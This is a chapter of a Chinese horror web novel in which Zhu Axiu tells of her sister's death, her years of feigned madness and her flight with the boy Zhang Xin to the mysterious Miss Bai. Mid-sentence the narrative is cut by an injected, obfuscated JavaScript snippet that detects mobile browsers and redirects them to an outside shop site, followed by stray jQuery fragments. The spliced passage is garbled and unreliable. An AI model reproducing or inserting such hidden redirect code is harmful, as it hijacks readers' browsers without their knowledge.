门外那些抓挠声、撞击声，不知何时突然停了。整个祠堂仿佛被隔绝在一个诡异的真空里，连烛火燃烧的声音都消失了。只有朱阿绣粗重、带着血沫的呼吸声，一起，一伏。


    “信儿……就是张信？”我轻声问，声音在死寂中显得格外清晰。


    朱阿绣点头，动作僵硬得像一具提线木偶。


    “她说完那句话，就咽气了。眼睛睁得很大，直直瞪着柴房的破屋顶，瞪着那些漏下来的雪花。我伸手去合她的眼睛，合不上，怎么都合不上。”


    “张家人进来，把阿雀用草席一卷，扔进了枯井。连一副薄棺材都没有。我趴在井口往下看，黑黢黢的，什么也看不见，只听见‘噗通’一声，很轻，像扔下去的不是一个人，而是一块石头。”


    “信儿被老太太抱走了，说是张家的种，不能跟着我这么个丧门星。我跪在老太太面前磕头，磕得额头出血，求她让我养信儿，她一脚把我踹开，说：‘你也配？’”


    朱阿绣说到这里，忽然低低地笑了起来。那笑声干涩、嘶哑，像是从破碎的风箱里挤出来的，听得人浑身发冷。


    “后来……后来我就疯了。”她说，“也不是真疯，是装的。我装疯卖傻，在村里乱跑，有时候穿着外面的衣裳就在河边洗，有时候抓了泥巴往嘴里塞。张家人嫌我丢人，把我关在后院的猪圈里，和猪一起吃，一起睡。”


    “可他们不知道，我夜里是醒着的。我趴在猪圈的破栅栏上，看着祠堂的方向，看着那扇永远紧闭的门。我在等，等一个机会。”


    她的目光转向我，那双深陷的眼窝里，那两颗缝衣针似的瞳仁突然变得锐利无比，像两把淬了毒的针。


    “我等了九年。九年里，我装疯，我偷学，我打听。我知道祠堂里供着张家的根，知道那些女人的头发被钉在树根上，知道张家的男人每年要在祠堂里拜一次祖宗，把新生男丁的名字写进族谱。”


    “我也知道，阿雀的头发……也被钉上去了。”


    朱阿绣伸出颤抖的手，指向我攥着的铜管，“阿雀死后第七天，老太太带人下了井拿着剪子，剪了阿雀一绺细发。到了张信落牙的年纪，她又收集了他落下的第一颗乳牙。老太太把头发和牙齿缠在一起，系上铜铃，钉在了树根上。她说，这样阿雀的魂就能守着信儿，守着张家的香火。”


    “可阿雀临死前说，别让信儿进祠堂。”朱阿绣的声音陡然拔高，带着一种近乎癫狂的尖锐，“她不让！她不让！”


    门外突然传来“砰”的一声巨响！


    整扇门板猛地向内凸起，木屑飞溅。李安被震得倒退两步，后背撞在供桌上，供桌上的香炉、烛台“哗啦啦”倒了一片。灰尘弥漫中，我看见门板上裂开了一道半尺宽的缝隙，缝隙外，挤着一双双眼睛。


    那些眼睛没有眼白，全是漆黑的瞳仁，密密麻麻挤在门缝外，一眨不眨地盯着祠堂里面。


    “它们要进来了。”窑童子的声音很沉，他手里的铜钱已经撒出去大半，剩下的紧紧攥在手心，指节捏得发白。


    陆沉一步跨到我和方珞一的身前，警惕地看着前方。


    “继续说。”我却盯着朱阿绣，声音异常平静，“后来呢？你是怎么带着张信逃的？”


    朱阿绣看着门板上那道裂缝，看着裂缝外那些漆黑的眼睛，脸上没有恐惧，只有一种近乎麻木的平静。


    “信儿九岁那年，机会来了。”她说，“那年张柏舟他娘死了，老东西吃汤圆噎死的，死的时候眼睛瞪得老大，手还指着祠堂的方向。张柏舟忙着办丧事，村里人也都去帮忙，没人注意我这个疯子。”


    “我趁着夜里，从猪圈爬出来，摸到张柏舟屋里。信儿睡在炕上，缩成小小的一团，梦里还在哭。我把他摇醒，捂着他的嘴，说：‘信儿，跟我走。’”


    “他看着我，眼睛瞪得圆圆的。九年了，他没叫过我一声，张家人不许他叫，说我是疯子，晦气。可那天夜里，他看着我，看了很久，然后轻轻点了点头。”


    “我带他逃出张村，往南边跑。我不敢走大路，只敢钻山林。信儿很乖，不哭不闹，牵着我的衣角，深一脚浅一脚地跟着。我们跑了很久很久，遇见了进山的白小姐。”


    “白濯心……”朱阿绣念出这个名字时，声音里有一丝极细微的颤抖，像是尊敬，又像是别的什么，“她是个大户人家的小姐，住在村东头的山坳里，是座青砖灰瓦的二层楼。”


    “我们遇见白小姐的时候，信儿正在发高烧，浑身烫得像火炭。我没办法，只能向她求救。”


    “她手里提着盏白纸灯笼，光晕昏黄，照见她半边脸，没什么血色。我还记得第一次遇见她，她穿着月白色的衫子，下面是墨绿色的褶裙，头发梳得整整齐齐，在脑后挽了个髻……”


    朱阿绣说到这里，停顿了很久。她干裂的嘴唇微微颤抖，缝衣针似的瞳孔缩了缩。


    “她……很美。”朱阿绣的声音低了下去，带着一种难以形容的敬畏，“美得不像是真人。皮肤白得像上好的宣纸，眉毛细细弯弯的，眼睛很黑。她手里拿着一块绣了一半的帕子，手指又细又长，指甲修得干干净净，泛着健康的粉色。”


    “可我……我就是怕。怕得浑身发抖。她一抬眼看我，我就觉得，自己从里到外都被她看透了。装疯的九年，偷学的那些事，心里藏着的恨，她全知道。”


    “我那时刚从猪圈爬出来，浑身脏臭，头发里还粘着草梗。信儿趴在我背上，呼吸弱得像小猫。她看着我却很平静：‘跟着我走。’”


    祠堂里，烛火忽然剧烈地摇晃起来。


    “她带着我们去了一座庙，就是现在后山的那座庙，当时那庙里很破，但很干净，供着一尊我不认识的神像，神像前点着一盏油灯，灯油是绿色的，烧起来有一股奇怪的香味。”


    “我把信儿放在草垫上，跪下来给白小姐磕头，求她救救信儿。白小姐摸了摸信儿的额头，又翻开他的眼皮看了看，然后说：‘这孩子，魂被人钉住了。’”


    祠堂里死一般寂静。


    只有烛火燃烧时发出的、极其轻微的“噼啪”声。我攥着铜管的手指因为用力而发白，掌心被铜管上那些凹凸不平的纹路硌得生疼。方珞一不知何时已经靠在了我身边，她的手臂紧贴着我的，我能感觉到她在微微


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870498|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发抖。


    “钉住了？”我听见自己的声音问，干涩得不像是自己的。


    “是。”朱阿绣点头，动作僵硬，“白小姐说，入了张家祠堂的那些头发，是张家的‘根’，也是张家的‘锁’。头发连着魂魄，魂魄就被锁在张家，永世不得超生，只能看着、守着张家的子子孙孙。”


    “我吓坏了，问她该怎么办。白小姐没说话，只是走到神像前，从供桌上取下一面铜镜。那镜子背面刻着密密麻麻的符文，我看不懂。她把镜子对准信儿，镜子里……镜子里除了信儿，还有一个人影。”


    朱阿绣的呼吸急促起来，胸腔里发出“呼哧呼哧”的声音，像破风箱在拉扯。


    “是个女人，穿着红嫁衣，盖着红盖头，坐在信儿身后，一只手搭在信儿肩膀上。我看不清她的脸，可我知道……我知道那是我妹妹阿雀。”


    祠堂里的烛火又晃了一下。


    这一次晃得更厉害，火苗猛地窜高，几乎舔到屋顶的横梁，接着又骤然矮下去，矮得只剩豆大的一点，将熄未熄。整个祠堂陷入一种诡异的半明半暗之中，那些钉在墙上的发丝无风自动，小铜铃发出“嗡嗡”的震颤声，越来越响，越来越急。


    “白小姐放下铜镜，看着我，说：‘你妹妹的魂，被钉在张家的族谱上了。她想投胎，投不了，想离开，也离不开，只能跟着这孩子，守着他，也困着他。不让她走，信儿的魂就会被耗死。’”


    “她说的神神叨叨，我也没文化，不懂，就问她该怎么办。白小姐说，想救这孩子，得先要了他命。他没命了，我妹妹也没有需要守护的人，她也会自由了。”


    “她说，这是偷梁换柱。用张信的命，换我妹妹的自由。”


    朱阿绣说到这里，忽然咧开嘴，露出一个古怪的笑容。她的牙齿又黄又黑，牙龈萎缩，牙根裸露在外，在昏暗的烛光下像一排小小的墓碑。


    “我不敢信她，就问她，死了怎么会活？白小姐却说你不信，那就让他烧着，早晚都是一死，为何不去试一试？”


    “后来呢？”我问。门外的撞击声又响起来了，比刚才更猛烈，整扇门板都在剧烈摇晃，门轴发出“嘎吱嘎吱”的惨叫，仿佛下一秒就要断裂。


    “后来……”她语气拖长，“白小姐问我，你恨张柏舟吗？我自然点头，怎么能不恨，恨他骗了我们，毁了我妹妹，让她死也不能瞑目。我恨张家的每一个人，恨那吃人的祠堂，恨不得他们举家下地狱……”


    “白小姐听我这么说，又笑了。”朱阿绣脸上浮起了古怪的癫狂，“那笑容……怎么说呢，不是高兴，也不是同情，就像……就像裁缝看上了一块好的料子，琢磨着该从何处下剪子。”


    “她对着我说，你很适合。然后给了我两样东西，一捆细线，是银色的。还有一个巴掌大的木匣子，匣子盖上刻着我看不懂的纹路。她说，线是用来‘锁魂’的，匣子是用来‘装魂’的。”


    朱阿绣古怪的笑容凝固在脸上，像一张裂开的泥面具。她的目光似乎穿透了祠堂厚重的墙壁，投向了遥远的、被夜色吞没的后山，“后来我才知道，她是个要人命的怪物。”